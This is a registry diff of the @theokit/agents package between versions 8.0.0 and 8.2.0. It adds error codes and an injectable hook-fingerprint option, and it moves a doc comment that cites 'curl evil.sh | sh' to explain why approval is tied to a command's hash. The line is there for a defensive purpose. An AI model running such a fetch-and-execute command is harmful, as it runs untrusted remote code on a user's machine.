@theokit/agents 8.0.0 → 8.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/ask.js +15 -3
- package/dist/ask.js.map +1 -1
- package/dist/hooks.d.ts +59 -35
- package/dist/hooks.js +2 -1
- package/dist/hooks.js.map +1 -1
- package/package.json +2 -2
package/dist/ask.js
CHANGED
|
@@ -10,7 +10,15 @@ var ConcurrentQuestionError = class extends TheokitAgentError {
|
|
|
10
10
|
}
|
|
11
11
|
name = "ConcurrentQuestionError";
|
|
12
12
|
constructor(threadId) {
|
|
13
|
-
super(
|
|
13
|
+
super(
|
|
14
|
+
`thread "${threadId}" already has a question awaiting an answer. A surface renders one question at a time, and a second one in flight cannot be attributed to an answer. Answer or abandon the first.`,
|
|
15
|
+
// Stable, because `name` is a display string and this is what a caller switches on — and what
|
|
16
|
+
// survives a minifier. The sibling errors in this package (`DELEGATION_TIMEOUT`) carry one;
|
|
17
|
+
// these three shipped without, and a consumer migrating off its own copy found it undefined.
|
|
18
|
+
{
|
|
19
|
+
code: "question_already_pending"
|
|
20
|
+
}
|
|
21
|
+
);
|
|
14
22
|
}
|
|
15
23
|
};
|
|
16
24
|
var ConcurrentListenerError = class extends TheokitAgentError {
|
|
@@ -19,7 +27,9 @@ var ConcurrentListenerError = class extends TheokitAgentError {
|
|
|
19
27
|
}
|
|
20
28
|
name = "ConcurrentListenerError";
|
|
21
29
|
constructor(threadId) {
|
|
22
|
-
super(`thread "${threadId}" already has a question listener. Two listeners render the prompt twice and race to answer it. Dispose the first (call the function \`setListener\` returned) before attaching another
|
|
30
|
+
super(`thread "${threadId}" already has a question listener. Two listeners render the prompt twice and race to answer it. Dispose the first (call the function \`setListener\` returned) before attaching another.`, {
|
|
31
|
+
code: "listener_already_attached"
|
|
32
|
+
});
|
|
23
33
|
}
|
|
24
34
|
};
|
|
25
35
|
var QuestionAbandonedError = class extends TheokitAgentError {
|
|
@@ -28,7 +38,9 @@ var QuestionAbandonedError = class extends TheokitAgentError {
|
|
|
28
38
|
}
|
|
29
39
|
name = "QuestionAbandonedError";
|
|
30
40
|
constructor(threadId, why) {
|
|
31
|
-
super(`question on thread "${threadId}" was abandoned: ${why}
|
|
41
|
+
super(`question on thread "${threadId}" was abandoned: ${why}`, {
|
|
42
|
+
code: "question_abandoned"
|
|
43
|
+
});
|
|
32
44
|
}
|
|
33
45
|
};
|
|
34
46
|
function createAskBridge() {
|
package/dist/ask.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/ask/ask-bridge.ts","../src/ask/pending-ledger.ts","../src/ask/ask-user-via.ts"],"mappings":";;;;;AAAA,SAASA,yBAAyB;AAmC3B,IAAMC,0BAAN,cAAsCC,kBAAAA;EAnC7C,OAmC6CA;;;EACzBC,OAAO;EACzB,YAAYC,UAAkB;AAC5B,
|
|
1
|
+
{"version":3,"sources":["../src/ask/ask-bridge.ts","../src/ask/pending-ledger.ts","../src/ask/ask-user-via.ts"],"mappings":";;;;;AAAA,SAASA,yBAAyB;AAmC3B,IAAMC,0BAAN,cAAsCC,kBAAAA;EAnC7C,OAmC6CA;;;EACzBC,OAAO;EACzB,YAAYC,UAAkB;AAC5B;MACE,WAAWA,QAAAA;;;;MAMX;QAAEC,MAAM;MAA2B;IAAA;EAEvC;AACF;AAGO,IAAMC,0BAAN,cAAsCJ,kBAAAA;EAnD7C,OAmD6CA;;;EACzBC,OAAO;EACzB,YAAYC,UAAkB;AAC5B,UACE,WAAWA,QAAAA,4LAGX;MAAEC,MAAM;IAA4B,CAAA;EAExC;AACF;AAMO,IAAME,yBAAN,cAAqCL,kBAAAA;EAnE5C,OAmE4CA;;;EACxBC,OAAO;EACzB,YAAYC,UAAkBI,KAAa;AACzC,UAAM,uBAAuBJ,QAAAA,oBAA4BI,GAAAA,IAAO;MAC9DH,MAAM;IACR,CAAA;EACF;AACF;AAgEO,SAASI,kBAAAA;AACd,QAAMC,kBAAkB,oBAAIC,IAAAA;AAC5B,QAAMC,cAAc,oBAAID,IAAAA;AACxB,QAAME,YAAY,oBAAIF,IAAAA;AAEtB,QAAMG,SAAS,wBAACV,UAAkBW,OAAAA;AAChCL,oBAAgBM,OAAOZ,QAAAA;AACvBQ,gBAAYI,OAAOD,EAAAA;EACrB,GAHe;AAKf,SAAO;IACLE,IAAIb,UAAUc,UAAQ;AACpB,UAAIR,gBAAgBS,IAAIf,QAAAA,GAAW;AACjC,eAAOgB,QAAQC,OAAO,IAAIpB,wBAAwBG,QAAAA,CAAAA;MACpD;AACA,YAAMkB,WAAWT,UAAUU,IAAInB,QAAAA;AAC/B,UAAIkB,aAAaE,QAAW;AAG1B,eAAOJ,QAAQC,OACb,IAAId,uBAAuBH,UAAU,wCAAA,CAAA;MAEzC;AAEA,YAAMW,KAAKU,OAAOC,WAAU;AAC5B,YAAMC,UAAU,IAAIP,QAAgB,CAACQ,SAASP,WAAAA;AAC5C,cAAMQ,QAAiB;UACrBd;UACAe,QAAQ,wBAACC,WAAAA;AACPjB,mBAAOV,UAAUW,EAAAA;AACjBa,oBAAQG,MAAAA;UACV,GAHQ;UAIRC,MAAM,wBAACC,UAAAA;AACLnB,mBAAOV,UAAUW,EAAAA;AACjBM,mBAAOY,KAAAA;UACT,GAHM;QAIR;AACAvB,wBAAgBwB,IAAI9B,UAAUyB,KAAAA;AAC9BjB,oBAAYsB,IAAInB,IAAI;UAAE,GAAGc;UAAOzB;QAAS,CAAA;MAC3C,CAAA;AAEAkB,eAASa,OAAO;QAAEpB;QAAIX;QAAUc;MAAS,CAAA;AACzC,aAAOS;IACT;IAEAI,OAAOhB,IAAIgB,QAAM;AACf,YAAMF,QAAQjB,YAAYW,IAAIR,EAAAA;AAG9B,UAAIc,UAAUL,OAAW,QAAO;AAChCK,YAAMC,OAAOC,MAAAA;AACb,aAAO;IACT;IAEAK,QAAQhC,UAAQ;AACd,YAAMyB,QAAQnB,gBAAgBa,IAAInB,QAAAA;AAElC,UAAIyB,UAAUL,OAAW,QAAO;AAChCK,YAAMG,KACJ,IAAIzB,uBAAuBH,UAAU,+CAAA,CAAA;AAEvCS,gBAAUU,IAAInB,QAAAA,GAAWiC,YAAYjC,QAAAA;AACrC,aAAO;IACT;IAEAkC,YAAYlC,UAAUkB,UAAUiB,SAAO;AACrC,UAAI1B,UAAUM,IAAIf,QAAAA,EAAW,OAAM,IAAIE,wBAAwBF,QAAAA;AAC/D,YAAMyB,QAAkB;QACtBM,QAAQb;QACR,GAAIiB,SAASF,cAAcb,UAAa;UAAEa,WAAWE,QAAQF;QAAU;MACzE;AACAxB,gBAAUqB,IAAI9B,UAAUyB,KAAAA;AACxB,aAAO,MAAA;AAGL,YAAIhB,UAAUU,IAAInB,QAAAA,MAAcyB,MAAOhB,WAAUG,OAAOZ,QAAAA;MAC1D;IACF;EACF;AACF;AA/EgBK;;;AC3ET,SAAS+B,sBAAAA;AACd,QAAMC,OAAO,oBAAIC,IAAAA;AAGjB,QAAMC,UAAU,oBAAID,IAAAA;AAEpB,SAAO;IACLE,OAAOC,OAAK;AACV,iBAAWC,QAAQD,OAAO;AACxB,YAAIF,QAAQI,IAAID,KAAKE,EAAE,KAAKP,KAAKM,IAAID,KAAKE,EAAE,EAAG;AAC/CP,aAAKQ,IAAIH,KAAKE,IAAIF,IAAAA;MACpB;IACF;IAEAI,OAAOF,IAAE;AACP,YAAMF,OAAOL,KAAKU,IAAIH,EAAAA;AACtB,UAAIF,SAASM,OAAW,QAAO;AAC/BX,WAAKY,OAAOL,EAAAA;AACZL,cAAQM,IAAID,IAAIF,KAAKQ,YAAY;AACjC,aAAO;IACT;IAEAC,WAAAA;AACE,UAAIC;AACJ,iBAAWV,QAAQL,KAAKgB,OAAM,GAAI;AAGhC,YAAID,WAAWJ,UAAaN,KAAKQ,eAAeE,OAAOF,aAAcE,UAASV;MAChF;AACA,aAAOU;IACT;IAEAE,YAAYJ,cAAY;AACtB,UAAIK,UAAU;AACd,iBAAW,CAACX,IAAIF,IAAAA,KAASL,MAAM;AAC7B,YAAIK,KAAKQ,eAAeA,cAAc;AACpCb,eAAKY,OAAOL,EAAAA;AACZW,qBAAW;QACb;MACF;AAKA,iBAAW,CAACX,IAAIY,EAAAA,KAAOjB,SAAS;AAC9B,YAAIiB,KAAKN,aAAcX,SAAQU,OAAOL,EAAAA;MACxC;AACA,aAAOW;IACT;EACF;AACF;AAlDgBnB;;;AC/BT,SAASqB,WACdC,QAAiB;AAEjB,SAAO,CAACC,UAAUC,aAAAA;AAChB,QAAIA,aAAaC,UAAaD,aAAa,IAAI;AAC7C,aAAOE,QAAQC,OACb,IAAIC,uBACF,UACA,0KACE,CAAA;IAGR;AACA,WAAON,OAAOO,IAAIL,UAAUD,QAAAA;EAC9B;AACF;AAfgBF;","names":["TheokitAgentError","ConcurrentQuestionError","TheokitAgentError","name","threadId","code","ConcurrentListenerError","QuestionAbandonedError","why","createAskBridge","pendingByThread","Map","pendingById","listeners","forget","id","delete","ask","question","has","Promise","reject","listener","get","undefined","crypto","randomUUID","promise","resolve","entry","settle","answer","fail","error","set","notify","abandon","onAbandon","setListener","options","createPendingLedger","open","Map","settled","ingest","items","item","has","id","set","settle","get","undefined","delete","messageIndex","findNext","oldest","values","pruneBefore","dropped","at","askUserVia","bridge","question","threadId","undefined","Promise","reject","QuestionAbandonedError","ask"]}
|
package/dist/hooks.d.ts
CHANGED
|
@@ -3,6 +3,41 @@ import { z } from 'zod';
|
|
|
3
3
|
import { H as HookHandlers } from './hook-handlers-Cw2FsnE5.js';
|
|
4
4
|
import '@theokit/sdk';
|
|
5
5
|
|
|
6
|
+
/**
|
|
7
|
+
* M75 — identity of a hook, for approval that cannot be inherited by mutation.
|
|
8
|
+
*
|
|
9
|
+
* ## Why a fingerprint and not a name
|
|
10
|
+
*
|
|
11
|
+
* Approving a hook means approving a COMMAND to run on the operator's machine. If approval were
|
|
12
|
+
* keyed by name — or by file path, or by position in a list — then editing the command afterwards
|
|
13
|
+
* would inherit the approval. The user approves `npm test`, the file later says
|
|
14
|
+
* `curl evil.sh | sh`, and it runs under a key that is already trusted.
|
|
15
|
+
*
|
|
16
|
+
* Hashing the fields that decide WHAT RUNS makes approval non-transferable: any edit to the command,
|
|
17
|
+
* the event it fires on, the matcher that selects it, or its timeout yields a different fingerprint,
|
|
18
|
+
* which is unapproved by construction.
|
|
19
|
+
*
|
|
20
|
+
* The timeout is included deliberately, even though it does not change what executes. A hook
|
|
21
|
+
* re-approved from 5 seconds to 5 minutes is a materially different thing to grant, and the operator
|
|
22
|
+
* should be asked again.
|
|
23
|
+
*/
|
|
24
|
+
/** The fields that decide what a hook does. Anything outside this is presentation. */
|
|
25
|
+
interface HookIdentity {
|
|
26
|
+
readonly command: string;
|
|
27
|
+
readonly event: string;
|
|
28
|
+
/** Selector deciding which tools/messages this hook fires for. `undefined` means all. */
|
|
29
|
+
readonly matcher?: string;
|
|
30
|
+
readonly timeoutMs: number;
|
|
31
|
+
}
|
|
32
|
+
/**
|
|
33
|
+
* SHA-256 over the identity fields, in a fixed order.
|
|
34
|
+
*
|
|
35
|
+
* Fixed order rather than `JSON.stringify` over an object: key order is not guaranteed across
|
|
36
|
+
* engines or after a round-trip, and a fingerprint that changed with serialisation order would
|
|
37
|
+
* silently un-approve every hook on some machines while leaving them approved on others.
|
|
38
|
+
*/
|
|
39
|
+
declare function hookFingerprint(identity: HookIdentity): string;
|
|
40
|
+
|
|
6
41
|
/**
|
|
7
42
|
* M75 — declarative hooks: from a line in a config file to a bounded, trusted subprocess.
|
|
8
43
|
*
|
|
@@ -97,6 +132,30 @@ interface BuildHookHandlersOptions {
|
|
|
97
132
|
readonly env?: Readonly<Record<string, string>>;
|
|
98
133
|
/** Where a refused, failed or truncated hook is reported. */
|
|
99
134
|
readonly onWarn?: (message: string) => void;
|
|
135
|
+
/**
|
|
136
|
+
* How a spec is reduced to the key `approved` is checked against. Defaults to
|
|
137
|
+
* {@link hookFingerprint}.
|
|
138
|
+
*
|
|
139
|
+
* ## Why this is injectable, and why it is not a loosening
|
|
140
|
+
*
|
|
141
|
+
* A real migration found the gap. A consumer arrived with an approval store already on disk,
|
|
142
|
+
* keyed by ITS scheme — a JSON projection with sorted keys and a `sha256:` prefix — while ours
|
|
143
|
+
* joins the fields with U+001E and emits bare hex. Both are sound; they are different, so the same
|
|
144
|
+
* hook hashes to two values.
|
|
145
|
+
*
|
|
146
|
+
* With the function hardcoded, that consumer's `approved` set matched nothing and every hook was
|
|
147
|
+
* refused. Not a crash — a warning per hook and silence afterwards, which is the worst shape a
|
|
148
|
+
* security regression can take.
|
|
149
|
+
*
|
|
150
|
+
* The alternative was a data migration over approval records, and a half-finished one re-prompts
|
|
151
|
+
* an operator for hooks they already approved. Re-prompting for everything is how a user learns to
|
|
152
|
+
* approve reflexively, which is precisely what this gate exists to prevent.
|
|
153
|
+
*
|
|
154
|
+
* What does NOT change: `approved` is still required, an empty set still refuses everything, and
|
|
155
|
+
* the default is still ours. Injecting a function decides how a hook is NAMED, never whether the
|
|
156
|
+
* gate applies.
|
|
157
|
+
*/
|
|
158
|
+
readonly fingerprint?: (identity: HookIdentity) => string;
|
|
100
159
|
}
|
|
101
160
|
/**
|
|
102
161
|
* Compile specs into the `HookHandlers` the seam already accepts.
|
|
@@ -119,41 +178,6 @@ declare function buildHookHandlers(specs: readonly HookSpec[], options: BuildHoo
|
|
|
119
178
|
*/
|
|
120
179
|
declare function fenceHookOutput(output: string): string;
|
|
121
180
|
|
|
122
|
-
/**
|
|
123
|
-
* M75 — identity of a hook, for approval that cannot be inherited by mutation.
|
|
124
|
-
*
|
|
125
|
-
* ## Why a fingerprint and not a name
|
|
126
|
-
*
|
|
127
|
-
* Approving a hook means approving a COMMAND to run on the operator's machine. If approval were
|
|
128
|
-
* keyed by name — or by file path, or by position in a list — then editing the command afterwards
|
|
129
|
-
* would inherit the approval. The user approves `npm test`, the file later says
|
|
130
|
-
* `curl evil.sh | sh`, and it runs under a key that is already trusted.
|
|
131
|
-
*
|
|
132
|
-
* Hashing the fields that decide WHAT RUNS makes approval non-transferable: any edit to the command,
|
|
133
|
-
* the event it fires on, the matcher that selects it, or its timeout yields a different fingerprint,
|
|
134
|
-
* which is unapproved by construction.
|
|
135
|
-
*
|
|
136
|
-
* The timeout is included deliberately, even though it does not change what executes. A hook
|
|
137
|
-
* re-approved from 5 seconds to 5 minutes is a materially different thing to grant, and the operator
|
|
138
|
-
* should be asked again.
|
|
139
|
-
*/
|
|
140
|
-
/** The fields that decide what a hook does. Anything outside this is presentation. */
|
|
141
|
-
interface HookIdentity {
|
|
142
|
-
readonly command: string;
|
|
143
|
-
readonly event: string;
|
|
144
|
-
/** Selector deciding which tools/messages this hook fires for. `undefined` means all. */
|
|
145
|
-
readonly matcher?: string;
|
|
146
|
-
readonly timeoutMs: number;
|
|
147
|
-
}
|
|
148
|
-
/**
|
|
149
|
-
* SHA-256 over the identity fields, in a fixed order.
|
|
150
|
-
*
|
|
151
|
-
* Fixed order rather than `JSON.stringify` over an object: key order is not guaranteed across
|
|
152
|
-
* engines or after a round-trip, and a fingerprint that changed with serialisation order would
|
|
153
|
-
* silently un-approve every hook on some machines while leaving them approved on others.
|
|
154
|
-
*/
|
|
155
|
-
declare function hookFingerprint(identity: HookIdentity): string;
|
|
156
|
-
|
|
157
181
|
/**
|
|
158
182
|
* M75 — run one hook command as a subprocess, bounded.
|
|
159
183
|
*
|
package/dist/hooks.js
CHANGED
|
@@ -157,8 +157,9 @@ function buildHookHandlers(specs, options) {
|
|
|
157
157
|
}
|
|
158
158
|
return {};
|
|
159
159
|
}
|
|
160
|
+
const fingerprintOf = options.fingerprint ?? hookFingerprint;
|
|
160
161
|
const runnable = specs.filter((spec) => {
|
|
161
|
-
const approved = options.approved.has(
|
|
162
|
+
const approved = options.approved.has(fingerprintOf(identityOf(spec)));
|
|
162
163
|
if (!approved) {
|
|
163
164
|
warn(`hook not approved and will not run: "${spec.command}" on ${spec.event}. Approve it by fingerprint \u2014 editing the command invalidates any previous approval, by design.`);
|
|
164
165
|
}
|
package/dist/hooks.js.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/hooks/hook-spec.ts","../src/hooks/hook-fingerprint.ts","../src/hooks/hook-runner.ts"],"mappings":"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
|
|
1
|
+
{"version":3,"sources":["../src/hooks/hook-spec.ts","../src/hooks/hook-fingerprint.ts","../src/hooks/hook-runner.ts"],"mappings":"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